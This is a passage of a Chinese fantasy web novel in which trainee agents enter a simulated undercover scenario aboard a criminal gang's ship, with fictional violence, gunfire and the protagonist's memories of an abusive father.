她当着兄妹二人的面,打开书封侧边扣子,书页翻飞,忽然停住。
那张空白的、折为两折的报名纸,原样卡在笔记本中间。
“……谁闲得无聊帮我报名?”
边沁却道:“我看是有预谋的。”
边锋也问:“你得罪了谁?”
越洱心说那可多,首先想到的自然是罗成荒,可罗成荒毫无法力,空降来法力部干闲职的。
罗成荒凭自己根本摸都摸不到报名壶,她会蠢到专门请别人给越洱报名?不怕别人怀疑?
边沁按着太阳穴,语气很是困惑:“灵山胜境,不让法力部和仙门弟子参加斗法。除了安保队的人,必须要靠这张报名纸才有机会进去。”
“很多修仙者都抢着进去吸收灵气增强法力,怎么会拿来浪费呢?而且这次卧底计划很简单,如果是你得罪过的人,他怎么就确定只要报名就能害到你?”
越洱摇头道:“这次卧底计划不会简单了,我们最好都不要去。找段姐说一下,能退出就退出。要是不能,那再怎么小心也不为过……”
听到越洱说最好三个人都别去,兄妹二人对视一眼,神色犹豫。
这次不去,下一回又是何年何月?
等到再五年,再十年,真的还会有心力去寻找真相吗?
万一这个预告谋杀的逃犯,就是他们寻寻觅觅多年杀父杀母的仇人,这次放跑了他,有生之年还有机会抓到吗?
边锋开口道:“越洱,我们跟你去找段姐说,你的不是自己报名,应该能退。”
他顿一顿,又道:“我和边沁,必须去……”
19.偏向深渊行
“我和边沁,必须去……”
边锋说完,看向妹妹。
越洱一愣,目光在二人脸上逡巡。
只见边锋轻轻咬腮,边沁低着头垂着眼。
“既然如此,一起去吧!我还没见过灵山胜境。”
她想起边锋的武器,战斗限制颇多;又想到边沁一直在指挥组,根本没参加过实战。
就算两个多月天天卧底培训,又能管用多少呢?
边锋道:“还是不要了,这个给你报名的人,不知安的什么心。”
越洱却笑说:“没事的,到时候法力部那么多人在呢,他能翻出什么天来?”
边锋欲再劝,就听越洱道:
“相信我,肯定会保护好自己。”
*
边锋私下找到段飞烨,说明了情况。
段飞烨忙得飞起,这时也头疼道:“没办法退,现在退了反而要遭报名壶反噬。 ”
“你也别太担心,以往也发生过几回代替报名事件,大家都全须全尾回来了,好好去做完任务,我会让教官多上心。”
边锋听她这么说,也没回环余地,只能道谢、告别。
训练日很快到来,除了异常事物处理司,各部门都有人来。
才上班,他们就收到部里密信,纷纷来到333层。
边沁贴着越洱耳朵,小声说:“阿鸟这样看还蛮有气势的嘞。”
鸟人站在333层楼道口,一个个检查放行。
他化成黑鸟形态,身量很高,蜷曲的黑发已微微超过锁骨,一对绿眸淡漠无波、公事公办,动作依然优雅。
这个人……怎么感觉越来越冷、越疏离了呢?
总是叫他鸟人也不妥,魔法部太多鸟人了,城市上空日日夜夜巡逻的,都是鸟人,有机会得再问问他真名才是。
越洱、边沁、边锋三人,随着队伍一点点挪向鸟人所站方位。
走在越洱前面的女生压低声音对同伴说:“鸟人老师越来越帅了!怎么回事!还让不让人好好上班了?”
同伴也极力按耐住激动,拽着朋友衣袖说:“真的!听说他马上就升安全司司长了,才27岁诶,好羡慕。”
“哇,部里最年轻的司长了吧,上一届安全司那个老大,我记得有四十五六吧。”
“他好像没女朋友哦,你上不上?”
“你上!”
“行吧,我上!我老公。”
“不行,还是我来,我老公!”
……
越洱听笑了,一双手忽然自身后捂住她耳朵,两个女生笑闹的声音降下去。
越洱闻到边锋袖口的清香,是一种木质橙花香。
她偏过头想去看边锋,边锋却先凑近,他俯下身,脸颊几乎贴在越洱左耳边。
捂住的手放开一只,越洱吓住,本能要挪开,却被右耳边的手挡着脑袋,挪不开。
“别笑了,不是你老公。”
说完,边锋才放开手,回到正常社交距离。
越洱觉得脊椎都泛起麻和痒来,懵懵然抓了两下耳朵。
“啪嗒”清脆一响,边沁一巴掌打在边锋手背上。
她翻了个白眼,对边锋道:“适当点得了啊,别抽抽。”
不知不觉,轮到越洱这排。
“鸟人老师,辛苦哦。”
她听边沁笑着说,此前仿若“阿鸟”二字就流转在舌尖,临出口才生生转了弯。
鸟人微笑道:“应该的。”
说着,他抽出一条薄薄金属片,才接近边沁,金属片就转换为脏粉色,灰扑扑又蛮养眼,接近边沁上衣的颜色。
“啪”一下,鸟人手中这条金属片拍上边沁手腕,一下收紧弹合,看上去是一条稍宽的腕带。
“哈,拍拍手环。”边锋笑道。
越洱也笑,还真是很像小学门口卖的那种拍拍手环。
只听鸟人对边沁说:“好了,前面闭眼往下跳就行,不会受伤。”
边沁很是干脆,她朝鸟人点点头,跨进333层,轻巧一跃,人就跳下深渊了,半点不带踟蹰。
边锋抬手,一嘴咬上手指骨节。
越洱先上前,鸟人一副才看到她的样子,笑眯眯让她伸手。
下一秒,“拍拍手环”狠狠拍上越洱手腕,她咬牙忍下一声痛呼。
怨恨看向鸟人,鸟老师,这一拍怎么个意思?多少带点私人恩怨吧?
就见鸟人笑着轻轻揉上她手腕:“啊呀,一不留神下手重了,原谅我。”
边锋一下拉着越洱手腕抽回,语气似在半开玩笑:“鸟老师,上岗不喝酒,喝酒不上岗。”
紧接着排在后头的人,嘁嘁咻咻在讨论。
鸟人却笑容不变,优雅拉过越洱手腕:“过去吧。”
走出一步,鸟人忽地凑近越洱耳朵,轻声说:“别受伤,之后见。”
越洱还不及反应,就听一声:“等等!我恐高,和她一起跳才敢。”
说着,边锋就抢步上前。
“不行。”鸟人一下挡在二人之间,金属片贴上边锋胸口:“不行哦,一次一个人。”
越洱捏捏耳朵,他爹的他爹的!他们要干嘛!不会正常距离说话是么,搞得她耳道都酥麻发痒。
是不是去了同一个奇奇怪怪的培训班学的?
越洱心说:虽然我意志坚定,但也很爱帅哥!别来挑战我意志力啊!
表面却淡然朝他们挥挥手,道:“我先下去咯。”
说着,纵身一跃,想象中的失重感没有袭来。反而很平缓,像被泳池的水托住。
满眼皆是漆黑,再见光亮时,已经站在一片原野之上,天高而蓝,云朵蓬松。
原野上清风吹拂,摇动青翠的嫩草、野花。
边沁整个人呈“大”字形,躺在草地上,好不惬意。
越洱也跑过去,在她身边躺下。
“哇啊!好美!”
边沁也很是开心,眼睛弯弯,看向高远蓝天。
“边锋怎么那么磨蹭?”
越洱答说:“他和鸟人叙叙旧。”
“叙旧?也没很久不见吧……”
深渊之上,两个“叙旧”的男人。
鸟人举起金属条预备拍向边锋手腕,边锋看他目露凶光,一旦风吹草动就拼命缩手。
反反复复,他举,他缩。
“拍拍手环”怎么也拍不上去。
“我说,能不能快点儿?”有人抱怨道。
鸟人邪魅一笑,咬牙对边锋说:“听到了吗?快点。”
他一把抓住边锋四个手指,攥紧捏牢,举起金属片,“啪”!
“啊!”
“啊!”
金属手环扣上了边锋手腕,鸟人老师私心太甚,过于用力,拍下去那瞬间,被边锋试图抽搐的手带偏,也结结实实打上自己虎口。
越洱和边沁坐起身,就见边锋笑得捂肚子,几乎
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是一步一颠地走来。
“吃错什么啦?”边沁嫌弃地问。
边锋笑得满脸通红,才止住,又像回想到什么画面,大笑到泪崩。
越洱:……
边沁:……
随着法力部众人聚齐,鸟人也一脸肃杀走近。
边锋转脸看到那张脸,差点喷出来,死命掐自己大腿,才憋住。
鸟人斜睨他一眼,若无其事走到队伍前。
“这次卧底训练,安全司会保证大家安全。”
原野风吹,四方飞来成群成队的黑色鸟人,举止皆是风度翩翩,安静列于鸟人老师身后。
只是他们大多没有属于自己的清晰面庞,黑色的羽毛覆盖住脸,只露一双乌溜溜眼珠,甚至嘴巴也化为尖尖的喙。
鸟人道:“第一次训练,大家会进入随机情境当中,穿到某人身上。你们的任务,就是找出情境中的真卧底,并且最贴切地扮演好自己‘穿上身’的角色。”
听到会穿到某人身上,现场气氛一时振奋。
“注意,如果你被诬陷或误认为真卧底,那么后果很惨烈。你也许会伤残、会死亡……”
“如果不幸发生以上情况,法力部会给大家工伤费用,或抚恤金。”
伤残?死亡?抚恤金?
越洱直愣愣看向鸟人,人群讨论声一下从窸窸窣窣上升为喧闹质疑。
鸟人却打个手势,淡淡道:“好了,吓吓你们。在情境里面受的伤,会减半转移到你真身;如果在里面死亡,你会立刻退出情境,而你的真身不会死,只会重伤。”
听听他这些词,“吓吓你们”、“只会重伤”。
大家咕咕囔囔抱怨起来:
“这就是安全司?”
“这叫没事?”
却有一人举手道:“那还有补偿金吗?”
她口吻很是轻松,甚至愉悦,越洱不由佩服。
有人嘀咕道:“哇,这老姐,要钱不要命呐。”
鸟人轻笑一声:“会有的,放心。但还是请大家最大限度保护好自己,安全司只能在此等候,保护你们的真身,情境中就靠自己了。”
越洱举手道:“找到真卧底以后呢?情境怎么结束?”
鸟人绿眸转向她,道:“问得好,找到卧底以后,你们自己判断要帮卧底还是揭发卧底,做该做的,情境会在它认为合适的时间结束。”
这个回答实在是太模糊,可鸟人已经几步走远,面向众人道:
“本次训练,你们的一切言行会被记录在册,一一打分,记住这点。”
一旁的边锋发问:“进去以后,我们怎么识别彼此?”
鸟人答道:“你们不能识别,我建议别试图找队员或交流,以往这么做的,结果都不好。”
“好了,请大家各自找到手环上编号对应的鸟人教官。”
话音刚落,越洱抬起手腕,见两个数字显现在金属手环上:
【77】
她抬眼朝鸟人队伍望去,鸟人们微微打开翅膀,左胸口的黑羽毛上,也一一浮现出红色数字。
边锋低头来看她的手环,笑说:
“哈,你77,我88!”
越洱也回以一笑,却见边锋笑容慢慢僵住,他抬眼直看向那黑压压队列的正前方。
越洱本能跟着他看过去,只见鸟人朝他们招手,嘴角勾起笑意。
他胸口闪着两个红字:
77。
20.犯罪帮派
边锋:“你们……就这么有缘?”
新手“卧底”们走到对应编号的鸟人教官身边站好。
越洱也立在鸟人身边,那双绿眸里勾画着她的脸。
越洱忍不住在这关头开口:“你真名是什么?”
鸟人望着她,似在回想,却道:“我不知道,也许有一天,你知道了,我也会知道。”
说完,他笑着用翅膀笼住越洱,轻声说:“睡吧。”
越洱刚想说:什么知道不知道的?
一阵睡意袭来,她闭上了眼。
*
“老实交代!不想你媳妇儿活了?”
越洱一睁眼,就见昏黄灯光下,自己身处一个木质仓库样的封闭空间。
“啪!”绿毛脑袋的瘦猴样男子,狠狠挥鞭,鞭子划破空气,打在场中央被五花大绑的肌肉男身上,发出一声闷响。
四周或明或暗,围了不少人,基本都是男的,个个目光不善。
越洱低头看自己衣着,才觉出视线位置颇高,有点不习惯,身上穿着一件旧旧的夹克,搭配黑色工装裤。
她伸手摩挲下巴,触感扎手,像硬硬的胡茬。
这是穿到一男人身上了?
她脑中极力搜寻原身记忆,只回忆起自己拖着一大个麻袋上了一艘船。
躺在场中央的肌肉男,血水早已浸透捆绑的麻绳,看起来神志不清。
可下一秒,他忽而睁大眼睛,痛呼出声。
那绿毛瘦猴男嗤笑一声:“反射弧挺长啊?老吴,我千想万想,愣是没想到你他妈敢勾结条子。”
他一脚踩上老吴的脸,老吴侧脸贴地,满口血水流到地板上,他不再叫了,目光却比最初清明半分。
绿毛猴搓动脚掌,脚擦着老吴的脸磨来磨去:“条子搞了我们多少兄弟、多少货,你知道吗?啊?”
说着,他突然飞起一脚,直踹上老吴肩胛骨,老吴一口喷出鲜血。
越洱前方,一个坐在椅子上的高大身影制止道:“留点儿力,别整死咯。”
那绿毛猴忙点头哈腰:“知道,老大。”
老大靠回椅背,换个边跷二郎腿。
老吴似是才反应过来,哀戚蠕动着,冲这边喊道:“不是我!老大,我冤枉啊!”
绿毛猴一脚踩住他侧腰,力道并未缓和:“少放屁!运货路线有埋伏,就你他妈下车□□了!”
烟雾缭绕,这些人淡漠围观,吧嗒吧嗒抽烟,原主的身子挺适应这种呛鼻烟味,这种下意识和越洱的排斥在打架,她感到原主记忆渐渐明朗起来。
眼前这是个犯罪帮派,原身12岁那年去桥边抢板栗吃,被那摊贩拿住,嚷嚷着要把他送进去。
一个高大男人劝止,替他付了板栗钱,也收留了他。高大男人就是帮派当今老大,原身从此为他们效力,又过12年。
昨天夜里,一批秘密运往北城的货,遭遇警察拦截、稽查。
送货人就逃回来四个,货品则全数被缴。
帮派紧急转移阵地,逃避抓捕。
经过对送货人私刑拷打,得知四人中,仅有老吴短暂脱离过他人视线,在公路停下、出车门、□□。
等他回到车上,往前开十几分钟,货车就遭到拦截。
眼前,另外三个被打的送货人,垂眉耷眼、缄口不言,分立在人群中间,没人敢回应老吴的呼唤。
绿毛瘦猴男环视一圈,出乎越洱意料,他不再一味榨老吴,而是撤开脚,淡淡问道:
“行,老吴,揪出来是谁走漏风声,我放过你。”
老吴挣扎着抬头,半边眼睛乌青,僵硬扫过众人,空气沉寂下来,抽烟的都忘了换动作。
突然,老吴直视前方,一扬下巴,竟是直指老大座椅方位。
瘦猴目光一滞,刚要开口,就听老吴喊道:
“是他,是石磊!”
数道目光嗖嗖射来,瘦猴阴恻恻看向越洱,又转向老大。
老大连头也没回,他坐在越洱前方,道:
“石磊,出来。”
越洱心如鼓锤,面上强自镇定,走到座椅斜前方,面向老大,微侧对瘦猴。
“老大。”
“说说吧。”
“老大,我没有做任何背叛组织的事,老吴他现在精神不正常,随便抓替罪羊。”
老大盯向石磊的目光,缓缓转向老吴:“你说石磊走漏风声,什么依据?”
他顿了顿,又道:“再乱来浪费我时间,剁了你。”
老大口气平淡,他甚至转而看向自己指甲。
但谁也听得出这不是威胁,是悬在脑袋上随时砍下的刀。
老吴一震,水洇湿他的长裤,他瑟瑟缩缩却仍是开口:
“他、他上次被抓,才刚放出来,我们的货就被条子查了,他就是条子眼线!”
越洱在原身记忆中逡巡,模仿石磊语气,道:“老大,整个计划我从头到尾没参与,拉的什么货、走的什么路,我全不知道。更何况,条子天天挡我们财路,我和条子不共戴天!”
老大摆摆手,赶苍蝇似的。神色不耐烦,咂嘴后仰,给绿毛瘦猴递过一个眼神。
瘦猴心领神会,飞快踹一脚老吴后腰:“就他妈这?你不晓得石磊替谁进去的?”
老吴慌了,茫然又指另一个送货人,那人早被打得抖搂干净,运货前小半月隔离,没收通讯工具,运货途中更是没一秒离开车内监控。
老吴再乱指一气,瘦猴急了,见老大站起身就走,他忙退让到一旁让路,道:“老大,我会处理好他。”
越洱凭借肌肉记忆,顺势跟上老大,离开仓房。
她暗自松一口气,老吴癫了,当下帮派里暗流汹涌,但明面上还是老大主权。
石磊是老大的亲信,动石磊就是动老大。
好险第一天穿进来就被诬陷,越洱心念一转,老吴会看不出原身石磊是老大的人?
他老吴也混了这么多年,是被逼到无法了?那也不敢指认老大亲信为叛徒啊。
那是意外?会不会另一个法力部新人穿到老吴身上,一睁眼就面临这种处境,慌不择路了。
有谁真这么倒霉吗?不会一来就被杀吧……
越洱思绪万千,一转眼就跟随老大走到外面。
眼前景象展开,她才发现这是一艘轮船,悬停在无波的海面上,此时正值夕阳西下。
二人来到甲板头,老大停在船舷边,靠着栏杆掏出一支烟,衔在唇间。
越洱意识还在悄悄试联通灵阵,找边沁、边锋;作为石磊的意识,就已经驱动脚步,跨上前给老大点了烟。
她感到庆幸,这次穿身条件不是很苛刻,随着石磊的记忆和意识渐渐明朗,甚至能让她偶尔走神,开启“自动驾驶”模式。
除了怀疑老吴被穿身,越洱最好奇的
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就是边家两兄妹去向,鸟人说是随机分配情境,那估计他们几个很难在同一处汇合。
哪怕见面,也认不出吧?毕竟她刚才逐一打量过那场“审讯”中的人,都看不出任何端倪。
老大在栏杆上按灭烟头,却没随手丢弃,他掏出一个铁盒,打开盖子,把烟头放进去。
铁盒装好,老大大步朝楼梯口走去,往下就是船舱。
来到负一层船舱,越洱纠结还跟不跟上,要不自己趁机到处摸一圈?
就听老大命令道:“先进来。”
这间舱房内部宽敞、干净,家具上还铺了手工钩织的毯和布。
老大一一打开卫生间、房间、柜子的门,又检查床底,才转头示意她过来。
二人在沙发落座,老大揉搓一把眉心,叹道:
“要拿不住他们了,下回没这么好糊弄。”
“……是。”
“瘦猴现在不敢要我的命,等他们做成一单,就难说了。”
越洱试图回想这一单到底做的什么,过程如何?
脑中却什么也没有,只能从眼下对话中推测,这一单老大不想搞,但瘦猴他们很想搞。
且一旦搞成,会大大改变船上帮派的权力格局,甚至会威胁到老大生命。
这一单定是老大和石磊这一帮搞黄的,但明面上还得装傻。
她隐约感到,那绿毛瘦猴不好对付。
难道要找的“真卧底”就是石磊自己和老大吗?
就这么简单?
越洱沉默不语,在老大看来,是石磊正凝神思索,他和他一样神色凝重、为未来担忧。
“你多加小心,枪,别离身。”
这时,舱门突然响起来,有人“哐哐”敲门。
“老大,新来的到了。”
老大把枪塞回后腰别上,责备似的瞥一眼石磊。
压低声音说:“反应这么慢,白白拿把好枪。”
他抬抬下巴,指示最隐蔽的那个隔间,道:“五分钟后再过来集合。”
越洱迅速轻巧闪身进隔间,没发出任何声音。
门又敲响。
“老大……”
“来啦,催什么催,上厕所呢!”
随后,他打开舱门,走了出去。
越洱所在隔间,门上开了一个圆形小窗,虽说看不见门口,但能看见斜对面的全身镜。
通过全身镜,越洱见那个敲门的手下,低头挨了一句训。
他低眉顺眼,却在老大转身走向楼梯后,假作关门,实则探身进来,滴溜溜转着眼睛,迅速扫视室内。
外面脚步声停,越洱模糊听见老大说:“磨蹭什么?”
那手下才赶紧带上舱门,跟随上去。
越洱抹开额角虚汗,方才,她感觉好像通过全身镜,和那双贼精贼精的眼睛对上了视线。
自然是不会的,但总感觉自己进了小时候看的那部恐怖片,无论躲到哪里,都躲不开追杀。
她赶紧试了试法力,钳子能召出,法力运转正常,只有通灵阵失效,谁也联络不上。
她掏出石磊的手机,见根本没有信号,通讯录也极其简单。
越洱按石磊直觉,来到驾驶舱前汇合。
一艘小船停在近处,几个人刚上来,身上还穿着救生衣。
待那几个新来的人走近,越洱注意到,老大脸上不可遏止的变形和震惊。
21.毒父
这种失控只在他脸上只停留须臾,像一条飞快闭合的裂缝,老大神色恢复平静。
“老大,这几个小子不错。”
“老大好!”四个新人齐声低头敬礼。
老大“嗯”一声,问:“老杨那边选来的?”
瘦猴答道:“老杨、老张选的,还有赌场那边来了一个。”
越洱默默观察几个新人,她注意到其中一个下巴有凹进去的伤痕,这个人低头时间略久,像在害怕、又像在压抑。
*
船在海上航行,只有月光照在海面。
“石磊,上去换班。”
越洱从休息的舱房走上主甲板,又顺着扶梯爬到二层驾驶室。
透过玻璃窗,越洱向内看。
船长不在,驾驶台前坐着当班的二副和水手,都是外国人。
越洱朝他们找找手,但没进去,继续往上爬,到驾驶室顶上搭建的小小瞭望室坐下。
右侧桌子上放着一台电脑,越洱动手晃晃鼠标,黑屏消失,省电模式解除。
她顿时心惊肉跳,这是全船的监控画面,十分清晰。
越洱凑近,一个个小格去看,确认老大房间不在监控范围。
幸好当时化出武器是在老大那间房,也幸好自己没有莽莽撞撞去“到处走走摸索摸索”。
她再细看,厨房、生活舱、瞭望台……
石磊的另一段记忆涌入她脑海,这些地方原本都架设枪支,但随着内斗严重,这次登船前,老大提前让石磊来,收走所有武器。
所有人登船后,又被搜身缴了所有随身武器,此举引发众人不满。
越洱太阳穴突突跳,她有种很不详的预感。
突然,右下脚画面处闪动过两个身影,又迅速隐匿如货箱中间,不见了。
没看清是什么人,越洱不敢打草惊蛇。
她在脑中迅速形成一个计划,化出一把胶把钳,把身上夹克披在钳子上,用一个简单易容咒,将钳子化为石磊模样。
这种简易易容咒,能使得钳子简单回应他人。
下一秒,越洱变身成一张薄薄纸片,贴着船体“簌簌”移动向货箱堆积位置。
压抑的对话声传来:
“下个码头要停船采购,你趁那时候下去!”
是老大的声音?越洱贴着货箱移上箱顶,探出扁扁的眼睛向下看。
一个年轻男人靠着对面货箱堆,是那个新人“凹下巴”,老大站在他面前,越洱只能看到老大背影。
“我不下去。”凹下巴低着头不看老大。
“呵,什么意思?要在这儿把我们一网打尽?”
听到老大冷笑,那年轻男人终于抬头,他双眼通红,怒道:
“你还好意思问?!满口仁义道德,背地里都在干这些勾当。你那些手下知道你是安全司司长吗?我妈知道你是犯罪分子吗?啊?爹?”
凹下巴咬牙切齿吐出最后一个字,像一记重锤砸向对面。
越洱脑子飞转,爹?俩人是父子,老大是安全司司长,同时又是犯罪帮派的头头。
这个情境的“真卧底”是他?
沉默几许,老大肩膀都垮塌下去,他背影颓丧。
“是……都是我错,我虚伪,两面三刀——念生,你听爹最后一回,现在不是时候,你必须下去。”
“我不……”
“你还不明白吗?他们在找警察卧底,已经杀了一个,这件事本来告一段落。你这时候上船,只会把命白白送掉!想想你妈!”
老大他儿子是警察,上船卧底来的?
黑暗中传来“咔嗒”轻响,对话声戛然而止,父子二人惊恐对视,立马掏枪分立两侧,贴着货箱挪动。
那声响实在很小,夹在海浪拍打声、轮船引擎声中,很像一种过度紧张带来的错觉。
越洱此时薄薄一张纸,贴着货箱速速移动,四处闪现,避开父子二人视线,搜寻其它可疑人物。
可是没有,没有第四个人。
方才父子二人已经移出货箱掩护,再聚头,老大对他儿子念声说:
“码头那里,我安排你和厨房那几个去买菜,自己找机会跑!别回来!”
“那你呢?”
“这边事完,我去自首……不,到时你来抓我,在其它地方。”
越洱看老大朝驾驶室方向移动,立马闪现回到瞭望处。
钳子化成的假石磊叉着手,坐在监控面前,神色又投入、又呆板。
越洱从纸化成人形,收钳,披外套。
听见扶手楼梯响了,她连忙靠在椅背上假寐。
不多时,只听有人推开瞭望室的门,越洱假作惊醒,手摸裤兜,转头回看。
老大笑眯眯说:“石磊,辛苦了。”
她忙站起,恭敬道:“老大,是我失职了。”
老大透过昏黄的顶灯,紧盯着石磊,笑道:“诶,大晚上的,情有可原。”
他走来电脑显示器前,附身去看:“今晚如何?”
“老大,一切正常。”
老大点点头:“你去给我拿包烟。”
越洱心领神会,老大这是要调刚刚的监控,她化成薄薄纸片以后,颜色随着环境变化,应当是不会出现在监控中。
可惜了自己还没回看,那声轻响到底是不是有人搞的。
她点头称“是”,去老大房间拿了烟。
奇怪,怎么会去货箱谈话,这间不在监控范围呀。
待她拿回烟,老大已经出了瞭望室,站在外面的栏杆边。
接过烟,朝他一点头,随手抽出一支烟递给石磊。
“石磊”道:“谢谢老大,这两天嗓子不舒服,暂时戒了。”
“正好趁机都戒了吧,出去找个老婆好过日子。”
“石磊”嘿嘿一笑。
老大说:“这几天说话小心,到处是窃听器。”
“瘦猴安的?”
“大概是。”老大吐出一口烟,走了。
越洱盯了一个通宵的监控画面,再没可以人物出现。
趁着换班时间,天才蒙蒙亮,夜色未褪尽。
她悄然化身薄纸形态,游走全船,发现几个可疑地点。
厨房,说是要靠码头去采购,但厨房仓储间堆了不少箱子,都严严实实封上了,里头有东西。
安全舱,唯一一处上锁的公共空间。
瘦猴房间,有个抽屉上了新锁,越洱尝试以纸张形态钻进去。才钻进一角,瘦猴突然
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从床上暴跳而起,大喊:“谁!”
越洱赶忙钻进地毯,瞥见他手上持枪,印证了心中猜想:武器果然没有缴干净。
这是一群亡命之徒,尤其是这绿毛瘦猴,他警惕到几乎神经质的地步。
越洱回到休息舱,难以入眠,到底谁才算“真卧底”?
老大?念生?其他人?
“情境会在它认为合适的时候结束……”
鸟人说这个的前一句是什么?
“先识别出卧底,再自行判断帮不帮卧底……”
那就当老大他儿子,念生,是卧底吧。
问题是,帮他活下来?还是帮他一网打尽这个犯罪帮派?二者皆有?
那他爹呢?老大活不活?
活捉他老爹算不算帮他?因此毁掉了他的职业和生活算不算帮他?
情境怎么才解开?做正确的事,还是有利于“真卧底”的事?
越洱思绪万千,很不安生地浅眠入睡。
不知过了多久,“滴滴”声在耳中炸响,越洱惊坐而起。
“越洱,越洱?听得到吗?”
这声音不来自于通灵阵,也不来自于任何设备。
此人声音很熟悉,越洱不知怎么回应对面,只好试着压低声音:“在,是谁?”
那边果然收到了,回道:“我是劳段飞烨,听着,越洱,有一个自称是你爹的男人找上法力部。天天在门口闹,要闯进来。”
越洱心咯噔一下,又听那边说。
“法力部不能直接驱赶他,又一直联系不上你,报警也拿他没办法。是你亲爹吗?”
越洱回道:“应该是……”
段飞烨道:“你家里谁能劝劝他,我让人帮你去传话。这几天部长都问了,恐怕再来会影响你试用期考核……”
越洱头疼不已,她家里没人,哪怕有,也劝不住这种畜生。
越洱:“我家没人,段姐,有什么办法可以让我主动联系上外面的人吗?”
段飞烨似有犹豫,但还是说道:“你在每天傍晚18点到天黑之前,试试通灵阵。注意不要泄露卧底训练相关信息。”
越洱谢过她,又道了歉,说会解决这件事,不再给大家造成困扰。
声音没了,船舱内时钟指向17:55位置。
情境内,马上18:00了。
她“哗”地掀开被子,处处都有窃听器,她一拳打在枕头上。
那个赌鬼又来了,越洱心中升起冰冷的怒意,他又来了,像甩不开的粘痰,烧灼在肌肤上的火炭。
在她人生所有出其不意的时刻,尖笑着跳出来,狠狠打在她鼻梁骨上,提醒她永难跨越的黑夜。
越洱站起来,打开水龙头,对着镜子看向这张陌生的面孔,属于石磊的面孔。
泪水流下石磊脸庞,她不会再哭,不该再哭,这是最后的眼泪,不值钱的眼泪。
过往的伤害如走马灯闪过眼前,赌鬼抓着她的头装向带木刺的掉漆红门,一下、两下、三下——
好疼,别睁眼,别戳瞎了眼睛。
18:00!
越洱进入通灵阵,脑中勾勒出一个人的形象,她仔细勾画,回想。
通了:“山风,我是越洱。”
22.念生,念生
“越洱?稀客啊!找我什么事儿?”
“我需要处理一个人,你们事务所接这种单吗?”
“处理?到什么程度?”
“让他永远消失在我生活里,这种程度……”
*
越洱走出舱房,整个走廊安静到诡异。
那间位于走廊尽头、时常传来打牌逗趣声的房间,也透出死气。
她几步跨上楼梯,走过甲板、货箱……了无人迹。
越洱刚准备化成薄纸形态,就听有人在不远处喊。
“石磊,这边!”
越洱转过头,那人站在驾驶室旁的平台,大摇大摆冲她招手。
他脸上挂着一种故作轻松的谄媚和热情,身后天空乌云翻涌,他像个涂抹口红的提线木偶,在阴风中摇晃。
越洱直起鸡皮疙瘩,悄悄化出胶把钳,但控制在蚊子大小,夹在她食指和中指之间。
她皮笑肉不笑迎着阴风走过去,这孙子不会趁现在开枪吧?
明知是陷阱,越洱还是爬上了驾驶室所在平台。
“带进来。”瘦猴声音响起,他那提线木偶长相的手下,就一脚踹在越洱后腰,把她踢进驾驶室。
越洱失去平衡,“duang”一声跪地,膝盖瞬间又辣又疼。
她抬起脸来,眼前是被绑得只露出眼睛和口鼻的老大。
越洱不禁腹诽:这捆绑,跟边锋学的?
面上她还得先装,急切道:“老大!你们反了天了!还不放开老大!”
瘦猴举一杆枪抵在越洱脑壳:“现在,你看谁是老大?”
越洱登时僵住不动,斜眼瞟见提线木偶又推进一男人,他被搡得“扑通”跪在越洱旁边。
瘦猴的枪口移上他脑门,顶住年轻男人:“挺会啊你们,在这儿搞碟中谍?父子局?”
年轻男人举起双手投降:“哥,不是我啊!我昨天才上船。”
瘦猴笑了:“行,昨天上船,今天让你上坟。”
年轻男人听此,面色极差,更是一点也不敢动。
瘦猴踩着皮鞋,一步步绕到年轻男人身后,枪口直指他后脑勺:“来,动手杀了你爹,我放过你。”
瘦猴眼睛一转,就有手下递来一把匕首,塞进跪地的年轻男人手中。
同时两杆枪追加进来,分别顶在越洱和年轻男人后脑勺。
“哥,杀、杀谁啊?”那年轻男人面色青白,握着匕首的手抖如筛糠。
“少他妈给老子装!杀你爹!”
年轻男人看一眼捆裹结实的老大,对瘦猴道:“哥,我可以杀了他,但他真不是我爹……”
他怕一旦承认和老大是父子关系,哪怕亲手杀了老大,自己也绝跑不了。
瘦猴动动枪:“舍不得?正好父子俩一起下去喂鱼。”
“哥,哥!别,我杀!杀了他,只求您留我小命。”
瘦猴哼笑道:“那是自然。”
年轻男人咽了口唾沫,两只手扶好匕首,跪着朝那个捆成木乃伊的老大挪去。
阴风破开门,簌簌吹进,年轻男人一边膝行,一边口中念念有词:“老大,别、别怪我,我也不想的……”
一杆枪始终没从他脑壳挪开,抵着他前行。
老大却丝毫未动,不作挣扎,似是已心如死灰。
越洱暗中发动结界,一个罩在自己身上,一个罩着年轻男人和老大。
透明的结界,仅她可见,年轻男人离老大越来越近。
有人注意到她小动作,大声呵斥:“石磊!老实点儿!”
那人话语未落,越洱飞身化出三把巨钳,与此同时,围观人群中,突然有一男子飞身抢出。
“砰砰砰砰砰!”
流弹四飞,巨钳夹住枪管,“咔嚓”掰弯。
仅仅三五秒,所有武器都被毁了,包括那把匕首,也被钳子夹得卷刃。
流弹时抱头鼠窜的众人,纷纷抬头,见鬼般望向越洱。
越洱回头去看地上,只见仿佛时空静止:被逼迫拿匕首杀人的年轻男人歪在一旁,死了。
老大仍被捆在原处,他身上趴着的,是他真正的儿子,那个凹下巴、那个从人群中突然飞身抢出的男子——
“念生!!!————”
越洱听到老大撕心裂肺的嚎哭,他被困在绳索中,他的儿子,念生,歪着脸砸在他身上、趴在他胸膛,念生背上开了两个血淋淋的窟窿。
他中枪了。
越洱猛然惊醒,第一眼是鸟人乌黑的羽翼。
“回来啦?”鸟人淡淡问道,声音从她头顶传来。
越洱懵了一瞬,她挣开鸟人翅膀庇护:“不会,不会。我明明毁了那些枪,什么时候打到的!”
鸟人走上前,拍拍她肩膀,道:“情境而已,里面都是假人。”
“……都是假人吗?”
“准确说,都是过去的人,你救不了谁的。”
“这些是已经发生的事情,在情境里再现?”
鸟人点点头,道:“早就铁板钉钉了,你做了自己能做的,恭喜你通过考验。”
周围还有鸟人教官和其他新人仍在情境中,先出来的学员一个个来到队列之外,坐在原野上休息。
鸟人也拉着越洱走出队列,到一处开满小花的草地坐下。
青草和野花的清新气息,取代硝烟味道。
她在情境里过了两天多,可深渊下的原野,天色却没变。
越洱往后仰倒,躺在草地上,横了一条手臂挡住眼睛,懒洋洋问鸟人:“从我们进去,过去了多久?”
鸟人道:“一个多小时吧,也有很早出来的,才进去三分钟弹出来了。”
越洱挪开手臂:“三分钟?这么快?”
鸟人笑着说:“是很快,不过不是找到了真间谍,是一进去就被杀了。”
越洱回想起,自己刚进这个情境时,有一个老吴。
那时觉得老吴被打得奄奄一息,却又突然眼神鲜活、状若惊恐,实在可疑,该不会真是新人穿过去吧。
